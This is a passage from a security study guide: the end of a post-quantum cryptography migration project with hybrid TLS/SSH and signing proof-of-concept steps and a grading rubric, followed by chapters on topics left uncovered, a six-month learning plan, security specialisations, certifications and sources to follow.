     Phase 1  confirm symmetric/hash are already PQ-safe (AES-256,
              SHA-384+) -- list any that aren't
     Phase 2  crypto-agility gaps: every place an algorithm is hard-coded,
              every stored blob without an algo/version tag, every key
              store without an abstraction -> concrete tickets
     Phase 3  enable hybrid KEX (X25519MLKEM768) on TLS endpoints,
              starting with the HNDL-sensitive customer path; measure
              handshake size/latency/CPU and any middlebox breakage
     Phase 4  PQ signatures: plan ML-DSA-65 for artifact/image signing
              (hybrid with Ed25519 first); SLH-DSA for anything with a
              decade-plus verifier lifetime (none in SecureShop unless you
              added the IoT scanners -- if so, prioritise)
     Phase 5  deprecate classical-only per NIST IR 8547 dates (2030/2035)

   For each item: owner, dependency (library/CA/vendor), effort, target
   quarter, and the risk if deferred.

Phase 3 — Proof of concept

   1. HYBRID TLS: stand up shop.securesh.op with OpenSSL 3.5+ (or a
      Caddy/nginx build that supports it) negotiating X25519MLKEM768.
      Prove it with `openssl s_client -groups X25519MLKEM768` and a
      packet capture showing the larger ClientHello. Benchmark vs X25519
      (handshakes/sec, bytes on the wire, p50/p99 latency).

   2. HYBRID SSH: confirm `mlkem768x25519-sha256` (or
      `sntrup761x25519-sha512`) is negotiated between two modern OpenSSH
      endpoints; pin it in sshd_config; show the negotiated kex in `ssh -v`.

   3. CRYPTO-AGILE SIGNING: extend the Ch 22/26 release tool so the
      manifest carries `sig_alg` and supports ed25519, ml-dsa-65, and
      hybrid-ed25519-mldsa65. Demonstrate a migration: sign a release
      ed25519-only, then re-sign as hybrid; show an old verifier still
      accepts the ed25519 sig while a new verifier requires both.
      Tabulate key/sig sizes and sign/verify timings.

   4. ML-KEM by hand: one `openssl pkeyutl -encap/-decap` round trip,
      HKDF the shared secret to an AES-256 key, encrypt a file with it.

Deliverable

~/sec-lab/projects/p4-pq-audit/ with: inventory.csv (or a table in report.md), migration-plan.md (phased, owned, dated), the PoC configs and scripts, benchmark numbers, and an executive summary a non-cryptographer manager can act on.

Definition of done

• Inventory covers TLS, SSH, app-layer, at-rest, secrets, and supply-chain crypto — nothing hand-waved as "probably fine".
• Every row is classified quantum-vulnerable / PQ-safe and HNDL-sensitive / not, with a one-line justification.
• The plan is risk-ranked by the stated formula, phased per Chapter 25, and every item has an owner and a target.
• Working hybrid TLS and hybrid SSH, proven with s_client/ssh -v and a capture, with benchmarks vs classical.
• The release tool signs and verifies ed25519, ML-DSA-65, and hybrid, with a demonstrated migration path.
• An executive summary that states the actual business risk (what data, decrypted when, matters) in plain language.

Rubric (/100)

   Inventory completeness & accuracy ......... 30
   Correct quantum-vuln / HNDL classification  15
   Risk-ranked, phased, owned migration plan . 20
   Working hybrid TLS + SSH with evidence .... 15
   Crypto-agile signing PoC + migration demo . 15
   Executive summary (plain-language risk) ... 5

Chapter 57 — Honest gaps, and a six-month plan

What this guide did not cover (by design)

This is an applied foundation. It deliberately skipped or skimmed:

   * BINARY EXPLOITATION       stack/heap overflows, ROP, use-after-free,
                               ASLR/DEP/CFI, exploit dev. A huge field.
                               -> pwn.college, "Nightmare", ropemporium.com,
                                  Azeria's ARM series.
   * REVERSE ENGINEERING       Ghidra/IDA/Binary Ninja, malware analysis,
                               obfuscation. -> "Practical Malware Analysis",
                               malwareunicorn.org, crackmes.one.
   * MOBILE (deep)             iOS/Android internals, Frida, obf, keystore.
                               -> OWASP MASTG/MASVS.
   * CLOUD & KUBERNETES (deep) IAM privilege-escalation graphs, EKS/GKE/AKS
                               attack paths, IMDS, serverless. -> "Hacking
                               Kubernetes", flaws.cloud, pwnedlabs.io,
                               Kubernetes CTF (kubectl), CNCF security.
   * DETECTION ENGINEERING     beyond Ch 50: EDR internals, threat hunting,
                               DFIR at scale. -> "Applied Network Security
                               Monitoring", SANS FOR508/FOR572.
   * HARDWARE / EMBEDDED / RF   side channels, glitching, JTAG, car/IoT,
                               SDR. -> "The Hardware Hacking Handbook".
   * CRYPTOGRAPHIC ENGINEERING implementing primitives, constant-time
                               code, formal verification. -> cryptopals.com,
                               "Real-World Cryptography" (Wong).
   * FORMAL METHODS, PROTOCOL   Tamarin/ProVerif, fuzzing at scale
     VERIFICATION, FUZZING      (AFL++, libFuzzer, OSS-Fuzz).
   * GOVERNANCE / RISK / COMPLIANCE  SOC 2, ISO 27001, PCI-DSS depth,
                               risk quantification (FAIR), security
                               programme management.
   * SOCIAL ENGINEERING / PHYSICAL, OSINT, red-team tradecraft, purple
     teaming, adversary emulation at depth.
   * AI/ML SECURITY            prompt injection, model/data poisoning,
                               extraction, agent security. -> OWASP LLM Top
                               10; and the companion AI guide if you have it.

Knowing these exist — and roughly what they involve — is itself useful.

A six-month plan (part-time, ~6–8 h/week)

   MONTH 1 -- Cement the foundation
     - Redo any Part's milestone checklist you can't pass cold.
     - PortSwigger Academy: finish Access Control, SQLi, XSS, CSRF, SSRF,
       Auth, JWT tracks. Aim to solve labs without hints.
     - Read: "Serious Cryptography" (2nd ed.), Parts I-II.

   MONTH 2 -- Breadth: attacker skills
     - TryHackMe "Jr Penetration Tester" or "Web Fundamentals" path, or
       HackTheBox "Starting Point" + 6 easy boxes.
     - Learn one intercepting proxy deeply (Burp): Repeater, Intruder,
       extensions, macros.
     - Read: "The Web Application Hacker's Handbook" (method chapters).

   MONTH 3 -- Depth: pick ONE track
     - Web/appsec:  ASVS L2 review of a real app; OWASP WSTG end to end.
     - Cloud:       "Hacking Kubernetes" + flaws.cloud + pwnedlabs.io;
                    build & attack a small EKS/GKE cluster.
     - Detection:   build a home SOC (Security Onion / Elastic), run
                    Atomic Red Team, write Sigma rules, measure MTTD.
     - Crypto eng:  cryptopals sets 1-6.

   MONTH 4 -- Build something defensive and real
     - Contribute a security fix or a detection rule to an open-source
       project. Add SBOM + signing + a supply-chain gate (Ch 47) to a
       repo you own. Write it up publicly.

   MONTH 5 -- Practice under pressure
     - Play 3-4 CTFs (pick beginner-friendly: picoCTF archives, CSAW,
       HTB CTF). Focus on your Month-3 track's categories.
     - Do a full mock engagement on a vulnerable target: scope -> test ->
       report -> retest, timeboxed to a week.

   MONTH 6 -- Consolidate and aim
     - Take (or seriously prep for) one certification that matches your
       track (Ch 58).
     - Write 3-5 blog posts on what you learned -- teaching exposes the
       gaps. Start a lab notebook / GitHub of your tools.
     - Set the next six months' goal based on what you actually enjoyed.

Habits that compound

   [ ] Read one primary source a week (an RFC, a spec section, a real
       post-mortem, a CVE writeup) -- not just blog summaries.
   [ ] Keep a lab. Break things you're about to build.
   [ ] When you use a library for crypto/auth/authz, read HOW it works
       once.
   [ ] Follow a few signal sources (Ch 58), skip the noise.
   [ ] Threat-model your own features (Ch 52) as a reflex.
   [ ] Teach: answer questions, write notes, give a brown-bag talk.
   [ ] Report responsibly. If you find a real bug in the wild: stop,
       don't dig, disclose via security.txt / a bug-bounty channel
       (Chapter 0.6).

Chapter 58 — Specialisations, certifications, and staying current

The main specialisations

   APPLICATION SECURITY / PRODUCT SECURITY
     secure SDLC, code review, threat modeling, SAST/DAST/SCA, paved-road
     tooling, working alongside dev teams. (This guide points here.)

   OFFENSIVE / PENETRATION TESTING / RED TEAM
     web/network/cloud/mobile pentest, red-team ops, adversary emulation.
     Report-writing and scoping are half the job.

   DETECTION & RESPONSE (BLUE TEAM) / SOC / DFIR
     detection engineering, threat hunting, incident response, forensics,
     threat intel.

   CLOUD / INFRASTRUCTURE / PLATFORM SECURITY
     IAM, network architecture, Kubernetes, IaC scanning, secrets, CSPM,
     guardrails at scale.

   SECURITY ENGINEERING / DevSecOps
     build the security tooling and pipelines; automation-first.

   CRYPTOGRAPHY / SECURITY RESEARCH
     protocol design, implementation, vuln research, exploit dev. Deep,
     specialised, often research-degree adjacent.

   GRC / SECURITY MANAGEMENT / PRIVACY
     risk, compliance (SOC2/ISO/PCI), policy, audits, programme leadership,
     privacy engineering.

   PRODUCT/SPECIFIC: OT/ICS, automotive, medical device, hardware, AI/ML
     security, blockchain.

Most careers move fluidly between these. A strong foundation (this guide) plus one deep track plus general breadth is the durable shape.

Certifications — what they're actually for

They're signalling and structured study, not proof of skill. Useful when job-hunting or when an employer pays. Roughly by track:

   ENTRY / FOUNDATION
     CompTIA Security+           broad baseline; common HR filter
     ISC2 CC (Certified in
       Cybersecurity)            free-ish, foundational
     Google Cybersecurity Cert   beginner, blue-leaning

   OFFENSIVE / PENTEST
     PNPT (TCM)                  practical, affordable, report-based
     OSCP (OffSec)               the well-known hands-on bar; hard; network-
                                 focused. OSWE = code-centric web; OSEP =
                                 evasion/AD.
     HTB CPTS / CBBH             practical, modern, cheaper than OSCP
     PortSwigger BSCP            web-specific, practical, well-regarded

   DEFENSE / DFIR / DETECTION
     BTL1 / BTL2 (Blue Team
       Labs)                     practical blue-team
     GIAC GCIH, GCIA, GCFA,
       GNFA, GREM                SANS courses; excellent, expensive
     Elastic / Splunk certs      tool-specific

   CLOUD
     the cloud provider's
       security specialty        (AWS Security Specialty, Google PCA-
                                 Security, AZ-500)
     GIAC GCSA (cloud sec
       automation)

   MANAGEMENT / GRC / GENERAL
     CISSP (ISC2)                broad, management-leaning; the classic
                                 "senior" HR checkbox; needs experience
     CISM / CISA (ISACA)         management / audit
     ISO 27001 Lead Implementer/
       Auditor

   CRYPTO / RESEARCH
     mostly no certs -- portfolio, CVEs, CTF results, publications,
     conference talks are the currency.

Advice: if you're job-hunting entry-level, Security+ or CC clears filters; then one practical cert in your chosen track (PNPT/OSCP/BSCP/BTL/cloud specialty). Skip collecting certs for their own sake. A public portfolio — the projects from Part 12, blog posts, CTF profiles, OSS contributions — often outweighs another acronym.

Staying current (signal, not noise)

   FOUNDATIONS DON'T CHANGE FAST. The Top 10 classes, crypto primitives,
   TLS/SSH, auth, network attacks -- stable for years. Don't chase every
   headline.

   WORTH FOLLOWING:
     - Your dependencies' security advisories + a CVE feed scoped to your
       stack (GitHub Advisory DB, OSV, distro security lists).
     - 2-4 high-signal blogs: Project Zero, Trail of Bits, PortSwigger
       Research, tl;dr sec (newsletter), Google/Cloudflare/AWS security
       blogs, Krebs (industry), Schneier (policy/broad).
     - One newsletter: "tl;dr sec" or "Risky Business" (podcast).
     - Primary sources when something big lands: the actual advisory,
       RFC, or NIST doc -- not the third-hand summary.
     - One conference's talks per year (real-world track): DEF CON,
       Black Hat, OWASP Global AppSec, USENIX Security/Enigma, fwd:cloudsec,
       BSides (local + free).
     - Standards you touch: watch the relevant IETF WG, NIST project, or
       CA/Browser Forum for changes (e.g. cert lifetime shrinking, PQC).

   CADENCE: ~30 min/week skimming feeds; deep-dive only what affects you
   or genuinely interests you. Quarterly, re-read one chapter of this
   guide's further-reading list.

A closing note

You started at "what is a byte" and finished by threat-modeling a system, running a PKI, hardening a host, breaking and fixing an app, and planning a post-quantum migration. That's the real job: not memorising attacks, but being able to reason from fundamentals — where is the trust boundary, what crosses it, what happens when this fails — and to build, test, and explain the controls.

Keep a lab. Read primary sources. Break your own things before someone else does. Write down what you learn. And use it to defend, and to help others — the whole point of Chapter 0.6.

Continue the series

Next, step 3b (Security: in depth): Security Engineering in Depth. It covers cloud and Kubernetes security, distributed authorization, advanced web attacks, data protection, detection. Hands-on: 10 Go labs + a govulncheck exercise (§0.8).